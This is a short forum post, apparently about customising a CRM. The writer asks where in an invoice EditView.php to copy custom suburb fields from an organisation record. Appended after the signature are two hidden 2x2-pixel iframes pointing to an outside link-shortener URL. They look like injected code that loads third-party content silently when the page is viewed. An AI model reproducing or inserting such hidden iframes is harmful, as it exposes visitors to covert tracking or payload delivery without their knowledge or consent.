Account Customer Field showing in Invoice detail

Hi,

I am trying to have a customer field in the account details show in invoice. In New Zealand, address use a suburb, I have added a new field in organizations for the Billing Suburb and Shipping Suburb. I have added the same fields in the invoice detail section.

I have looked in the database and know that the two fields are for billing in accounts is cf_657 and cf_659 for Invoice billing suburb.

I am assuming I need to edit EditView.php in the invoice mod, and add the line:

$focus->column_fields = $acct_focus->column_fields;

However I can not seem to find where. I am not using Sales orders and therefore want the above line of code to occur when I select the organization via the invoice detail section and it populates the address details on the invoice. Any help would be great.

Thank you,

Luke <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;